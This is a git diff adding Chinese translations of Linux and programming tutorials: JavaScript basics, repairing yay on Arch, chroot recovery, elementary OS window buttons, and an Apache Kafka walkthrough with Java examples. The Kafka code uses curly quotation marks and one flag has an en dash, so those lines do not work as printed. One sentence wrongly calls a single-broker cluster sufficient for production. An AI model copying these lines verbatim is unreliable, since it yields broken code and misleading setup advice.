+ +    +    +  + +``` + +重新加载页面,你就可以看到在呈现页面时生成的时间戳。再重新加载几次,你可以观察到秒数会不断增加。 + +### JavaScript 语法 + +在编程中,语法syntax 指的是如何编写句子(或“行”)的规则。在 JavaScript 中,每行代码必须以分号(`;`)结尾,以便运行代码的 JavaScript 引擎知道何时停止阅读。(LCTT 译注:从实用角度看,此处的“必须”其实是不正确的,大多数 JS 引擎都支持不加分号。Vue.js 的作者尤雨溪认为“没有应该不应该,只有你自己喜欢不喜欢”,他同时表示,“Vue.js 的代码全部不带分号”。详情可以查看他在知乎上对于此问题的 [回答][10]。) + +单词(或 字符串strings)必须用引号(`"`)括起来,而数字(或 整数integers)则不用。 + +几乎所有其他东西都是 JavaScript 语言的约定,例如变量、数组、条件语句、对象、函数等等。 + +### 在 JavaScript 中创建变量 + +变量是数据的容器。你可以将变量视为一个盒子,你在其中放置数据,以便与程序的其他部分共享它。要在 JavaScript 中创建变量,你可以选用关键字 `let` 和 `var` 中的一个,请根据你打算如何使用变量来选择:`var` 关键字用于创建一个供整个程序使用的变量,而 `let` 只为特定目的创建变量,通常在函数或循环的内部使用。(LCTT 译注:还有 `const` 关键字,它用于创建一个常量。) + +JavaScript 内置的 `typeof` 函数可以帮助你识别变量包含的数据的类型。使用第一个示例,你可以修改显示文本,来显示 `myvariable` 包含的数据的类型: + +``` + +let myvariable = "Hello world!"; +document.getElementById("example").innerHTML = typeof(myvariable); + +``` + +接着,你就会发现 Web 浏览器中显示出 “string” 字样,因为该变量包含的数据是 `"Hello world!"`。在 `myvariable` 中存储不同类型的数据(例如整数),浏览器就会把不同的数据类型打印到示例网页上。尝试将 `myvariable` 的内容更改为你喜欢的数字,然后重新加载页面。 + +### 在 JavaScript 中创建函数 + +编程中的函数是独立的数据处理器。正是它们使编程得以 *模块化*。因为函数的存在,程序员可以编写通用库,例如​​,调整图像大小或统计时间花费的库,以供其他和你一样的程序员在他们的代码中使用。 + +要创建一个函数,你可以为函数提供一个自定义名称,后面跟着用大括号括起来的、任意数量的代码。 + +下面是一个简单的网页,其中包含了一个剪裁过的图像,还有一个分析图像并返回真实图像尺寸的按钮。在这个示例代码中,` +    +    +   
+      +   
+    +    +    +  + +``` + +保存这个文件,并将其加载到 Web 浏览器中以尝试这段代码。 + +![自定义的 get_size 函数返回了图像尺寸][8] + +### 使用 JavaScript 的跨平台应用程序 + +你可以从代码示例中看到,JavaScript 和 HTML 紧密协作,从而创建了有凝聚力的用户体验。这是 JavaScript 的一大优势。当你使用 JavaScript 编写代码时,你继承了现代计算中最常见的用户界面之一,而它与平台无关,那就是 Web 浏览器。你的代码本质上是跨平台的,因此你的应用程序,无论是简单的图像大小分析器还是复杂的图像编辑器、视频游戏,或者你梦想的任何其他东西,都可以被所有人使用,无论是通过 Web 浏览器,还是桌面(如果你同时提供了一个 Electron 应用)。 + +学习 JavaScript 既简单又有趣。网络上有很多网站提供了相关教程,还有超过一百万个 JavaScript 库可帮助你与设备、外围设备、物联网、服务器、文件系统等进行交互。在你学习的过程中,请将我们的 [JavaScript 备忘单][9] 放在身边,以便记住语法和结构的细节。 + +> **[JavaScript 备忘单][9]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/7/javascript-cheat-sheet + +作者:[Seth Kenlon][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/code2.png +[2]: https://www.electronjs.org/ +[3]: https://opensource.com/article/16/12/notepad-text-editor +[4]: https://opensource.com/article/20/12/atom +[5]: https://opensource.com/article/20/6/open-source-alternatives-vs-code +[6]: https://opensource.com/sites/default/files/pictures/plain-html.jpg +[7]: https://opensource.com/sites/default/files/uploads/html-javascript.jpg +[8]: https://opensource.com/sites/default/files/uploads/get-size.jpg +[9]: https://opensource.com/downloads/javascript-cheat-sheet +[10]: https://www.zhihu.com/question/20298345/answer/49551142 diff --git a/published/202206/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md b/published/202206/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md new file mode 100644 index 0000000000..befb210be1 --- /dev/null +++ b/published/202206/20210724 How to Fix yay- error while loading shared libraries- libalpm.so.12.md @@ -0,0 +1,68 @@ +[#]: subject: "How to Fix yay: error while loading shared libraries: libalpm.so.12" +[#]: via: "https://www.debugpoint.com/2021/07/yay-error-libalpm-so-12/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14683-1.html" + +如何修复 “yay: error while loading shared libraries: libalpm.so.12” +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/07/144052x9tpvo93zhthdh6x.jpg) + +> 这篇快速指南是为了帮助你修复 “yay error: while loading shared libraries: libalpm.so.12” 错误。 + +如果你在系统中运行 [Arch Linux][1] 的时间比较长,那么由于其滚动发布性质以及你的硬件支持,程序可能会损坏。 如果你使用 AUR 助手 Yay,那么有时,由于其他软件包的多次安装升级,Yay 可能会损坏。 + +Yay 助手一般是非常稳定的,但有时它会被搞乱,在修复好之前,你不能使用它安装任何程序。而其中一个令人头疼的错误是这样的: + +``` +yay: error while loading shared libraries: libalpm.so.12: cannot open shared object file: No such file or directory +``` + +这个错误特别是在升级到 pacman 6.0 后出现的,因为共享库不兼容。 + +![error while loading shared libraries - yay][2] + +### 如何解决 “yay: error while loading shared libraries: libalpm.so.12” + +这个错误只能通过完全卸载 `yay` 来解决,包括它的依赖。然后重新安装 `yay`。 + +没有其他方法来解决这个错误。 + +我们已经有一个 [如何安装 Yay][3] 的指南,然而,以下是修复的步骤。 + +从 AUR 克隆 yay 仓库并构建。在终端窗口中依次运行以下命令。 + +``` +cd /tmp +git clone 'https://aur.archlinux.org/yay.git' +cd /tmp/yay +makepkg -si +cd ~ +rm -rf /tmp/yay/ +``` + +安装完成后,你可以尝试运行给你带来这个错误的命令。然后就好了。如果你仍然有这个错误,请在下面的评论区告诉我。 + +很多人都遇到了这个问题,网络上有 [几个讨论][4]。以上是解决这个错误的唯一办法。而且我在任何地方都找不到这个问题的确切根源,除了它是在 pacman 6.0 更新后开始的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/07/yay-error-libalpm-so-12/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://archlinux.org/ +[2]: https://www.debugpoint.com/wp-content/uploads/2021/07/error-while-loading-shared-libraries-yay.jpg +[3]: https://www.debugpoint.com/2021/01/install-yay-arch/ +[4]: https://github.com/Jguer/yay/issues/1519 diff --git a/published/202206/20210725 How to Recover Arch Linux Install via chroot.md b/published/202206/20210725 How to Recover Arch Linux Install via chroot.md new file mode 100644 index 0000000000..fdadf9e7be --- /dev/null +++ b/published/202206/20210725 How to Recover Arch Linux Install via chroot.md @@ -0,0 +1,117 @@ +[#]: subject: "How to Recover Arch Linux Install via chroot" +[#]: via: "https://www.debugpoint.com/2021/07/recover-arch-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14708-1.html" + +如何通过 chroot 恢复 Arch Linux 系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/14/111204hm20rzjmmf5ib9nr.jpg) + +> 这个快速指南解释了恢复 Arch Linux 安装的一些方便步骤。 + +作为一个滚动发布的版本,[Arch Linux][1] 中有时会出现一些问题。不是因为你自己的行为,而是数以百计的其他原因,如新内核与你的硬件或软件的兼容性。但是,Arch Linux 仍然很棒,它提供了最新的软件包和应用。 + +但有时,它也会给你带来麻烦,你最终只能看到一个闪烁的光标,其他什么都没有。 + +所以,在这种情况下,与其重新格式化或重新安装,不如在放弃希望之前尝试恢复安装和数据。本指南概述了这个方向的一些步骤。 + +### 恢复 Arch Linux 安装 + +第一步是用 Arch Linux 创建一个可启动的现场Live USB。从 [这个链接][3] 下载 .ISO 并创建一个可启动的 USB。你可以查看这个 [如何使用 Etcher 创建可启动的 USB][2] 的指南。记住这一步需要另一个稳定的工作系统,因为你目前的系统不能使用。 + +你需要知道你的 Arch Linux 安装在哪个分区上。这是一个非常重要的步骤。如果你不知道,你可以用 GParted 来查找。或者在你的 GRUB 菜单中查看,或者你可以运行下面的命令来了解。这将列出你所有的磁盘分区及其大小、标签: + +``` +sudo lsblk -o name,mountpoint,label,size,uuid +``` + +完成后,插入 USB 盘并从它启动。你应该在现场介质中看到 Arch Linux 的提示符。 + +现在,用下面的方法挂载 Arch Linux 分区。记得把 `/dev/sda3` 改成你对应的分区。 + +``` +mount /dev/sda3 /mnt +arch-chroot /mnt +``` + +`arch-chroot` 命令将在终端挂载你的 Arch Linux 分区,所以用你的 Arch 凭证登录。现在,在这个阶段,根据你的需要,你有以下选择。 + +* 你可以通过 `/home` 文件夹来备份你的数据。如果,故障排除方式无效的话。你可以把文件复制到外部 USB 或其他分区。 +* 核查日志文件,特别是 pacman 日志。因为,不稳定的系统可能是由升级某些软件包引起的,如图形驱动或任何其他驱动。根据日志,如果你需要的话,可以降级任何特定的软件包。 + +你可以使用下面的命令来查看 pacman 日志文件的最后 200 行,以找出任何失败的项目或依赖性删除。 + +``` +tail -n 200 /var/log/pacman.log | less +``` + +上面的命令给出了你的 `pacman.log` 文件末尾的 200 行来验证。现在,仔细检查哪些软件包在你成功启动后被更新了。 + +并记下软件包的名称和版本。你可以尝试逐一降级软件包,或者如果你认为某个特定的软件包产生了问题。使用 `pacman -U` 开关来降级。 + +``` +pacman -U +``` + +如果有的话,你可以在降级后运行以下命令来启动你的 Arch 系统。 + +``` +exec /sbin/init +``` + +检查你的显示管理器的状态,是否有任何错误。有时,显示管理器会产生一个问题,无法与 X 服务器通信。例如,如果你正在使用 Lightdm,那么你可以通过以下方式检查它的状态。 + +``` +systemctl status lightdm +``` + +或者,可以通过下面的命令启动它,并检查出现了错误。 + +``` +lightdm --test-mode --debug +``` + +下面是一个 Lightdm 失败的例子,它导致了一个不稳定的 Arch 系统。 + +![lightdm - test mode][4] + +或者通过使用 `startx` 启动 X 服务器来检查。 + +``` +startx +``` + +根据我的经验,如果你在上述命令中看到错误,尝试安装另一个显示管理器并启用它,如 sddm。它可能会消除这个错误。 + +根据你的系统状态,尝试上述步骤,并进行故障排除。对于特定于显示管理器 lightdm 的错误,我们有一个 [指南][5],你可以看看。 + +如果你使用的是 sddm,那么请查看 [这些故障排除步骤][6]。 + +### 总结 + +每个安装环境都是不同的。上述步骤可能对你不起作用。但它值得一试,根据经验,它是有效的。如果它起作用,那么,对你来说是好事。无论哪种方式,请在下面的评论区中告诉我结果如何。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/07/recover-arch-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/tag/arch-linux +[2]: https://www.debugpoint.com/2021/01/etcher-bootable-usb-linux/ +[3]: https://archlinux.org/download/ +[4]: https://www.debugpoint.com/wp-content/uploads/2021/03/lightdm-test-mode.jpg +[5]: https://www.debugpoint.com/2021/03/failed-to-start-lightdm/ +[6]: https://wiki.archlinux.org/title/SDDM#Troubleshooting diff --git a/published/202206/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md b/published/202206/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md new file mode 100644 index 0000000000..64d7a26557 --- /dev/null +++ b/published/202206/20210809 How to Enable Minimize, Maximize Window Buttons in elementary OS.md @@ -0,0 +1,91 @@ +[#]: subject: "How to Enable Minimize, Maximize Window Buttons in elementary OS" +[#]: via: "https://www.debugpoint.com/2021/08/enable-minimize-maximize-elementary/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14778-1.html" + +如何在 elementary OS 中启用最小化、最大化窗口按钮 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/30/141133zfwflwefqwyeffff.jpg) + +> 这是如何在 elementary OS 中启用最小化、最大化窗口按钮的方法。 + +许多人(大多数是 elementary OS 的新用户)在各种论坛上问这些问题: + +1. 我怎样才能在 elementary OS 中启用最小化按钮? +2. 我如何启用还原、最小化、最大化? +3. 有可能恢复最小化和最大化按钮吗? + +这些都是完全正常的问题,而且问问题也是可以的。对吧?这篇指南可以帮助他们在 elementary OS 中获得这些按钮。 + +Elementary OS 所使用的 Pantheon 桌面并没有默认的标准窗口按钮。其主要原因是通过 Dock 和应用菜单处理用户行为和活动的不同理念。可以说,这种设计或实现的行为模仿了macOS。 + +不过,许多用户更喜欢窗口按钮,因为这是一个所谓的“肌肉记忆”,而且有些人是从其他桌面环境(甚至是 Windows)迁移过来的。 + +尽管 Elementary 没有为你提供这个默认设置,你仍然可以启用它。下面是方法。 + +### 启用最小化最大化按钮 - elementary OS + +打开终端,安装添加 PPA 所需的 `software-properties-common` 软件包。默认情况下,这个包在 elementary OS 中没有安装(不要问我为什么,真的)。 + +``` +sudo apt install software-properties-common +``` + +#### elementary OS 6 Odin + +elementary Tweak 工具被重新换了个名字,它现在被称为 [Pantheon Tweaks][1],并正在单独开发中。使用以下命令,你可以安装它: + +``` +sudo add-apt-repository -y ppa:philip.scott/pantheon-tweaks +sudo apt install -y pantheon-tweaks +``` + +#### elementary OS 5 Juno 及更低版本 + +如果你使用的是 elementary OS 5 June 及更低版本,你可以使用相同的 PPA 安装早期的 [elementary-tweaks][2]。在终端按照以下命令进行操作: + +``` +sudo add-apt-repository -y ppa:philip.scott/elementary-tweaks +sudo apt install -y elementary-tweaks +``` + +#### 更改设置 + +* 安装后,点击顶部栏的“应用Application”,打开“系统设置System settings”。在系统设置窗口中,点击“个人Personal”下的 “Tweaks”。 +* 在 Tweaks 窗口中,进入“外观Appearance”。 +* 在窗口控制下,选择布局:“Windows”。 + + ![enable minimize maximize buttons elementary OS][3] + +* 然后在顶部窗口栏的右侧应该有最小化、最大化和关闭按钮了。 + +也有其他组合形式,如 Ubuntu、macOS 等。你可以选择任何你觉得合适的: + +![Other Options of Window buttons in elementary][4] + +这篇指南至此就结束了。系统设置中还有其他选项,你可以尝试使用,但窗口管理器 gala 最近删除了这些选项。因此,它们目前可能无法工作。 + +我希望这个指南能帮助你启用 elementary OS 的最小化最大化按钮。如果你需要任何帮助,请在下面的评论栏告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2021/08/enable-minimize-maximize-elementary/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://github.com/pantheon-tweaks/pantheon-tweaks +[2]: https://github.com/elementary-tweaks/elementary-tweaks +[3]: https://www.debugpoint.com/wp-content/uploads/2021/08/enable-minimize-maximize-buttons-elementary-OS.png +[4]: https://www.debugpoint.com/wp-content/uploads/2021/08/Other-Options-of-Window-buttons-in-elementary.jpg diff --git a/published/202206/20211102 Apache Kafka- Asynchronous Messaging for Seamless Systems.md b/published/202206/20211102 Apache Kafka- Asynchronous Messaging for Seamless Systems.md new file mode 100644 index 0000000000..3882caa3a3 --- /dev/null +++ b/published/202206/20211102 Apache Kafka- Asynchronous Messaging for Seamless Systems.md @@ -0,0 +1,303 @@ +[#]: subject: "Apache Kafka: Asynchronous Messaging for Seamless Systems" +[#]: via: "https://www.opensourceforu.com/2021/11/apache-kafka-asynchronous-messaging-for-seamless-systems/" +[#]: author: "Krishna Mohan Koyya https://www.opensourceforu.com/author/krishna-mohan-koyya/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14772-1.html" + +Apache Kafka:为“无缝系统”提供异步消息支持 +====== + +> Apache Kafka 是最流行的开源消息代理之一。它已经成为了大数据操作的重要组成部分,你能够在几乎所有的微服务环境中找到它。本文对 Apache Kafka 进行了简要介绍,并提供了一个案例来展示它的使用方式。 + +![](https://img.linux.net.cn/data/attachment/album/202206/29/094326fbo6zzsrxiava661.jpg) + +你有没有想过,电子商务平台是如何在处理巨大的流量时,做到不会卡顿的呢?有没有想过,OTT 平台是如何在同时向数百万用户交付内容时,做到平稳运行的呢?其实,关键就在于它们的分布式架构。 + +采用分布式架构设计的系统由多个功能组件组成。这些功能组件通常分布在多个机器上,它们通过网络,异步地交换消息,从而实现相互协作。正是由于异步消息的存在,组件之间才能实现可伸缩、无阻塞的通信,整个系统才能够平稳运行。 + +### 异步消息 + +异步消息的常见特性有: + +* 消息的生产者producer消费者consumer都不知道彼此的存在。它们在不知道对方的情况下,加入和离开系统。 +* 消息代理broker充当了生产者和消费者之间的中介。 +* 生产者把每条消息,都与一个“主题topic”相关联。主题是一个简单的字符串。 +* 生产者可以在多个主题上发送消息,不同的生产者也可以在同一主题上发送消息。 +* 消费者向代理订阅一个或多个主题的消息。 +* 生产者只将消息发送给代理,而不发送给消费者。 +* 代理会把消息发送给订阅该主题的所有消费者。 +* 代理将消息传递给针对该主题注册的所有消费者。 +* 生产者并不期望得到消费者的任何回应。换句话说,生产者和消费者不会相互阻塞。 + +市场上的消息代理有很多,而 Apache Kafka 是其中最受欢迎的之一。 + +### Apache Kafka + +Apache Kafka 是一个支持流式处理的、开源的分布式消息系统,它由 Apache 软件基金会开发。在架构上,它是多个代理组成的集群,这些代理间通过 Apache ZooKeeper 服务来协调。在接收、持久化和发送消息时,这些代理分担集群上的负载。 + +#### 分区 + +Kafka 将消息写入称为“分区partition”的桶中。一个特定分区只保存一个主题上的消息。例如,Kafka 会把 `heartbeats` 主题上的消息写入名为 `heartbeats-0` 的分区(假设它是个单分区主题),这个过程和生产者无关。 + +![图 1:异步消息][2] + +不过,为了利用 Kafka 集群所提供的并行处理能力,管理员通常会为指定主题创建多个分区。举个例子,假设管理员为 `heartbeats` 主题创建了三个分区,Kafka 会将它们分别命名为 `heartbeats-0`、`heartbeats-1` 和 `heartbeats-2`。Kafka 会以某种方式,把消息分配到这三个分区中,并使它们均匀分布。 + +还有另一种可能的情况,生产者将每条消息与一个消息键key相关联。例如,同样都是在 `heartbeats` 主题上发送消息,有个组件使用 `C1` 作为消息键,另一个则使用 `C2`。在这种情况下,Kafka 会确保,在一个主题中,带有相同消息键的消息,总是会被写入到同一个分区。不过,在一个分区中,消息的消息键却不一定相同。下面的图 2 显示了消息在不同分区中的一种可能分布。 + +![图 2:消息在不同分区中的分布][3] + +#### 领导者和同步副本 + +Kafka 在(由多个代理组成的)集群中维护了多个分区。其中,负责维护分区的那个代理被称为“领导者leader”。只有领导者能够在它的分区上接收和发送消息。 + +可是,万一分区的领导者发生故障了,又该怎么办呢?为了确保业务连续性,每个领导者(代理)都会把它的分区复制到其他代理上。此时,这些其他代理就称为该分区的同步副本in-sync-replicas(ISR)。一旦分区的领导者发生故障,ZooKeeper 就会发起一次选举,把选中的那个同步副本任命为新的领导者。此后,这个新的领导者将承担该分区的消息接受和发送任务。管理员可以指定分区需要维护的同步副本的大小。 + +![图 3:生产者命令行工具][4] + +#### 消息持久化 + +代理会将每个分区都映射到一个指定的磁盘文件,从而实现持久化。默认情况下,消息会在磁盘上保留一个星期。当消息写入分区后,它们的内容和顺序就不能更改了。管理员可以配置一些策略,如消息的保留时长、压缩算法等。 + +![图 4:消费者命令行工具][5] + +#### 消费消息 + +与大多数其他消息系统不同,Kafka 不会主动将消息发送给消费者。相反,消费者应该监听主题,并主动读取消息。一个消费者可以从某个主题的多个分区中读取消息。多个消费者也可以读取来自同一个分区的消息。Kafka 保证了同一条消息不会被同一个消费者重复读取。 + +Kafka 中的每个消费者都有一个组 ID。那些组 ID 相同的消费者们共同组成了一个消费者组。通常,为了从 N 个主题分区读取消息,管理员会创建一个包含 N 个消费者的消费者组。这样一来,组内的每个消费者都可以从它的指定分区中读取消息。如果组内的消费者比可用分区还要多,那么多出来的消费者就会处于闲置状态。 + +在任何情况下,Kafka 都保证:不管组内有多少个消费者,同一条消息只会被该消费者组读取一次。这个架构提供了一致性、高性能、高可扩展性、准实时交付和消息持久性,以及零消息丢失。 + +### 安装、运行 Kafka + +尽管在理论上,Kafka 集群可以由任意数量的代理组成,但在生产环境中,大多数集群通常由三个或五个代理组成。 + +在这里,我们将搭建一个单代理集群,对于生产环境来说,它已经够用了。 + +在浏览器中访问 [https://kafka.apache.org/downloads][5a],下载 Kafka 的最新版本。在 Linux 终端中,我们也可以使用下面的命令来下载它: + +``` +wget https://www.apache.org/dyn/closer.cgi?path=/kafka/2.8.0/kafka_2.12-2.8.0.tgz +``` + +如果需要的话,我们也可以把下载来的档案文件 `kafka_2.12-2.8.0.tgz` 移动到另一个目录下。解压这个档案,你会得到一个名为 `kafka_2.12-2.8.0` 的目录,它就是之后我们要设置的 `KAFKA_HOME`。 + +打开 `KAFKA_HOME/config` 目录下的 `server.properties` 文件,取消注释下面这一行配置: + +``` +listeners=PLAINTEXT://:9092 +``` + +这行配置的作用是让 Kafka 在本机的 `9092` 端口接收普通文本消息。我们也可以配置 Kafka 通过安全通道secure channel接收消息,在生产环境中,我们也推荐这么做。 + +无论集群中有多少个代理,Kafka 都需要 ZooKeeper 来管理和协调它们。即使是单代理集群,也是如此。Kafka 在安装时,会附带安装 ZooKeeper,因此,我们可以在 `KAFKA_HOME` 目录下,在命令行中使用下面的命令来启动它: + +``` +./bin/zookeeper-server-start.sh ./config/zookeeper.properties +``` + +当 ZooKeeper 运行起来后,我们就可以在另一个终端中启动 Kafka 了,命令如下: + +``` +./bin/kafka-server-start.sh ./config/server.properties +``` + +到这里,一个单代理的 Kafka 集群就运行起来了。 + +### 验证 Kafka + +让我们在 `topic-1` 主题上尝试下发送和接收消息吧!我们可以使用下面的命令,在创建主题时为它指定分区的个数: + +``` +./bin/kafka-topics.sh --create --topic topic-1 --zookeeper localhost:2181 --partitions 3 --replication-factor 1 +``` + +上述命令还同时指定了复制因子replication factor,它的值不能大于集群中代理的数量。我们使用的是单代理集群,因此,复制因子只能设置为 1。 + +当主题创建完成后,生产者和消费者就可以在上面交换消息了。Kafka 的发行版内附带了生产者和消费者的命令行工具,供测试时用。 + +打开第三个终端,运行下面的命令,启动生产者: + +``` +./bin/kafka-console-producer.sh --broker-list localhost:9092 --topic topic-1 +``` + +上述命令显示了一个提示符,我们可以在后面输入简单文本消息。由于我们指定的命令选项,生产者会把 `topic-1` 上的消息,发送到运行在本机的 9092 端口的 Kafka 中。 + +打开第四个终端,运行下面的命令,启动消费者: + +``` +./bin/kafka-console-consumer.sh --bootstrap-server localhost:9092 --topic topic-1 –-from-beginning +``` + +上述命令启动了一个消费者,并指定它连接到本机 9092 端口的 Kafka。它订阅了 `topic-1` 主题,以读取其中的消息。由于命令行的最后一个选项,这个消费者会从最开头的位置,开始读取该主题的所有消息。 + +我们注意到,生产者和消费者连接的是同一个代理,访问的是同一个主题,因此,消费者在收到消息后会把消息打印到终端上。 + +下面,让我们在实际应用场景中,尝试使用 Kafka 吧! + +### 案例 + +假设有一家叫做 ABC 的公共汽车运输公司,它拥有一支客运车队,往返于全国不同城市之间。由于 ABC 希望实时跟踪每辆客车,以提高其运营质量,因此,它提出了一个基于 Apache Kafka 的解决方案。 + +首先,ABC 公司为所有公交车都配备了位置追踪设备。然后,它使用 Kafka 建立了一个操作中心,以接收来自数百辆客车的位置更新。它还开发了一个仪表盘dashboard,以显示任一时间点所有客车的当前位置。图 5 展示了上述架构: + +![图 5:基于 Kafka 的架构][6] + +在这种架构下,客车上的设备扮演了消息生产者的角色。它们会周期性地把当前位置发送到 Kafka 的 `abc-bus-location` 主题上。ABC 公司选择以客车的行程编号trip code作为消息键,以处理来自不同客车的消息。例如,对于从 Bengaluru 到 Hubballi 的客车,它的行程编号就会是 `BLRHL003`,那么在这段旅程中,对于所有来自该客车的消息,它们的消息键都会是 `BLRHL003`。 + +仪表盘应用扮演了消息消费者的角色。它在代理上注册了同一个主题 `abc-bus-location`。如此,这个主题就成为了生产者(客车)和消费者(仪表盘)之间的虚拟通道。 + +客车上的设备不会期待得到来自仪表盘应用的任何回复。事实上,它们相互之间都不知道对方的存在。得益于这种架构,数百辆客车和操作中心之间实现了非阻塞通信。 + +#### 实现 + +假设 ABC 公司想要创建三个分区来维护位置更新。由于我们的开发环境只有一个代理,因此复制因子应设置为 1。 + +相应地,以下命令创建了符合需求的主题: + +``` +./bin/kafka-topics.sh --create --topic abc-bus-location --zookeeper localhost:2181 --partitions 3 --replication-factor 1 +``` + +生产者和消费者应用可以用多种语言编写,如 Java、Scala、Python 和 JavaScript 等。下面几节中的代码展示了它们在 Java 中的编写方式,好让我们有一个初步了解。 + +##### Java 生产者 + +下面的 `Fleet` 类模拟了在 ABC 公司的 6 辆客车上运行的 Kafka 生产者应用。它会把位置更新发送到指定代理的 `abc-bus-location` 主题上。请注意,简单起见,主题名称、消息键、消息内容和代理地址等,都在代码里硬编码的。 + +``` +public class Fleet { + public static void main(String[] args) throws Exception { + String broker = “localhost:9092”; + Properties props = new Properties(); + props.setProperty(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, broker); + props.setProperty(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, + StringSerializer.class.getName()); + props.setProperty(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, + StringSerializer.class.getName()); + + Producer producer = new KafkaProducer(props); + String topic = “abc-bus-location”; + Map locations = new HashMap<>(); + locations.put(“BLRHBL001”, “13.071362, 77.461906”); + locations.put(“BLRHBL002”, “14.399654, 76.045834”); + locations.put(“BLRHBL003”, “15.183959, 75.137622”); + locations.put(“BLRHBL004”, “13.659576, 76.944675”); + locations.put(“BLRHBL005”, “12.981337, 77.596181”); + locations.put(“BLRHBL006”, “13.024843, 77.546983”); + + IntStream.range(0, 10).forEach(i -> { + for (String trip : locations.keySet()) { + ProducerRecord record + = new ProducerRecord( + topic, trip, locations.get(trip)); + producer.send(record); + } + }); + producer.flush(); + producer.close(); + } +} +``` + +##### Java 消费者 + +下面的 `Dashboard` 类实现了一个 Kafka 消费者应用,运行在 ABC 公司的操作中心。它会监听 `abc-bus-location` 主题,并且它的消费者组 ID 是 `abc-dashboard`。当收到消息后,它会立即显示来自客车的详细位置信息。我们本该配置这些详细位置信息,但简单起见,它们也是在代码里硬编码的: + +``` +public static void main(String[] args) { + String broker = “127.0.0.1:9092”; + String groupId = “abc-dashboard”; + Properties props = new Properties(); + props.setProperty(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, broker); + props.setProperty(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, + StringDeserializer.class.getName()); + props.setProperty(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, + StringDeserializer.class.getName()); + props.setProperty(ConsumerConfig.GROUP_ID_CONFIG, groupId); + + @SuppressWarnings(“resource”) + Consumer consumer = new KafkaConsumer(props); + consumer.subscribe(Arrays.asList(“abc-bus-location”)); + while (true) { + ConsumerRecords records + = consumer.poll(Duration.ofMillis(1000)); + + for (ConsumerRecord record : records) { + String topic = record.topic(); + int partition = record.partition(); + String key = record.key(); + String value = record.value(); + System.out.println(String.format( + “Topic=%s, Partition=%d, Key=%s, Value=%s”, + topic, partition, key, value)); + } + } +} +``` + +##### 依赖 + +为了编译和运行这些代码,我们需要 JDK 8 及以上版本。看到下面的 `pom.xml` 文件中的 Maven 依赖了吗?它们会把所需的 Kafka 客户端库下载并添加到类路径中: + +``` + + org.apache.kafka + kafka-clients + 2.8.0 + + + org.slf4j + slf4j-simple + 1.7.25 + +``` + +#### 部署 + +由于 `abc-bus-location` 主题在创建时指定了 3 个分区,我们自然就会想要运行 3 个消费者,来让读取位置更新的过程更快一些。为此,我们需要同时在 3 个不同的终端中运行仪表盘。因为所有这 3 个仪表盘都注册在同一个组 ID 下,它们自然就构成了一个消费者组。Kafka 会为每个仪表盘都分配一个特定的分区(来消费)。 + +当所有仪表盘实例都运行起来后,在另一个终端中启动 `Fleet` 类。图 6、7、8 展示了仪表盘终端中的控制台示例输出。 + +![图 6:仪表盘终端之一][7] + +仔细看看控制台消息,我们会发现第一个、第二个和第三个终端中的消费者,正在分别从 `partition-2`、`partition-1` 和 `partition-0` 中读取消息。另外,我们还能发现,消息键为 `BLRHBL002`、`BLRHBL004` 和 `BLRHBL006` 的消息写入了 `partition-2`,消息键为 `BLRHBL005` 的消息写入了 `partition-1`,剩下的消息写入了 `partition-0`。 + +![图 7:仪表盘终端之二][8] + +使用 Kafka 的好处在于,只要集群设计得当,它就可以水平扩展,从而支持大量客车和数百万条消息。 + +![图 8:仪表盘终端之三][9] + +### 不止是消息 + +根据 Kafka 官网上的数据,在《财富》100 